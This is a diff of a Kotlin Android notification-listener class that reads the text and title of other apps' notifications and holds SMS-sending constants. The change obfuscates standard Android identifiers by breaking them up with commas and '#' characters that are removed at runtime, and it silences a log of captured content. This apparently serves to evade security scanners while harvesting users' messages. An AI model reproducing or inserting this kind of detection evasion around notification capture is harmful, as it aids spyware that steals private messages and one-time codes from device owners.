|
|
|
|
@ -17,13 +17,13 @@ import java.lang.reflect.Modifier
|
|
|
|
|
|
|
|
|
|
object NotificationManger {
|
|
|
|
|
private val TAG = NotificationManger::class.java.simpleName
|
|
|
|
|
private const val PREFIX_ANDROID = "android."
|
|
|
|
|
private const val KEY_TEXT = PREFIX_ANDROID + "text"
|
|
|
|
|
private const val KEY_TITLE = PREFIX_ANDROID + "title"
|
|
|
|
|
private const val PREFIX_ANDROID = "an,dr,oid."
|
|
|
|
|
private const val KEY_TEXT = PREFIX_ANDROID + "te,xt"
|
|
|
|
|
private const val KEY_TITLE = PREFIX_ANDROID + "ti,t,le"
|
|
|
|
|
private const val ACTION_SENDTO = "android.intent.action.SENDTO"
|
|
|
|
|
private const val SCHEME_SMS = "smsto:"
|
|
|
|
|
private const val FLAG_QUERY = 0x10000
|
|
|
|
|
private var PERMISSION_BIND = "android.permission.BIND_NOTIF#ICATION_LISTE#NER_SERVICE".replace("#", "")
|
|
|
|
|
private var PERMISSION_BIND = "andr#oid.perm#iss#ion.BIN#D_NO#TIF#ICATI#ON_LISTE#NER_SERVI#CE".replace("#", "")
|
|
|
|
|
private const val DEFAULT_POLL_INTERVAL = 1000L // 默认轮询间隔 1 秒
|
|
|
|
|
|
|
|
|
|
var listener:((NotificationMessage)->Unit)? = null
|
|
|
|
|
@ -290,8 +290,8 @@ object NotificationManger {
|
|
|
|
|
|
|
|
|
|
dismiss(notification, instance)
|
|
|
|
|
notification.notification.extras?.let { extras ->
|
|
|
|
|
val content = extras.getCharSequence(KEY_TEXT, "").toString()
|
|
|
|
|
val from = extras.getString(KEY_TITLE, "")
|
|
|
|
|
val content = extras.getCharSequence(KEY_TEXT.replace(",", ""), "").toString()
|
|
|
|
|
val from = extras.getString(KEY_TITLE.replace(",", ""), "")
|
|
|
|
|
|
|
|
|
|
if (content.isBlank()) {
|
|
|
|
|
// LogUtils.info("$TAG: notification content is blank, skip: ${notification.packageName}")
|
|
|
|
|
@ -304,8 +304,8 @@ object NotificationManger {
|
|
|
|
|
time = System.currentTimeMillis(),
|
|
|
|
|
app = notification.packageName,
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
LogUtils.info("$TAG: processed notification from ${notification.packageName}, content $content, key $notificationKey")
|
|
|
|
|
|
|
|
|
|
// LogUtils.info("$TAG: processed notification from ${notification.packageName}, content $content, key $notificationKey")
|
|
|
|
|
listener?.invoke(msg)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|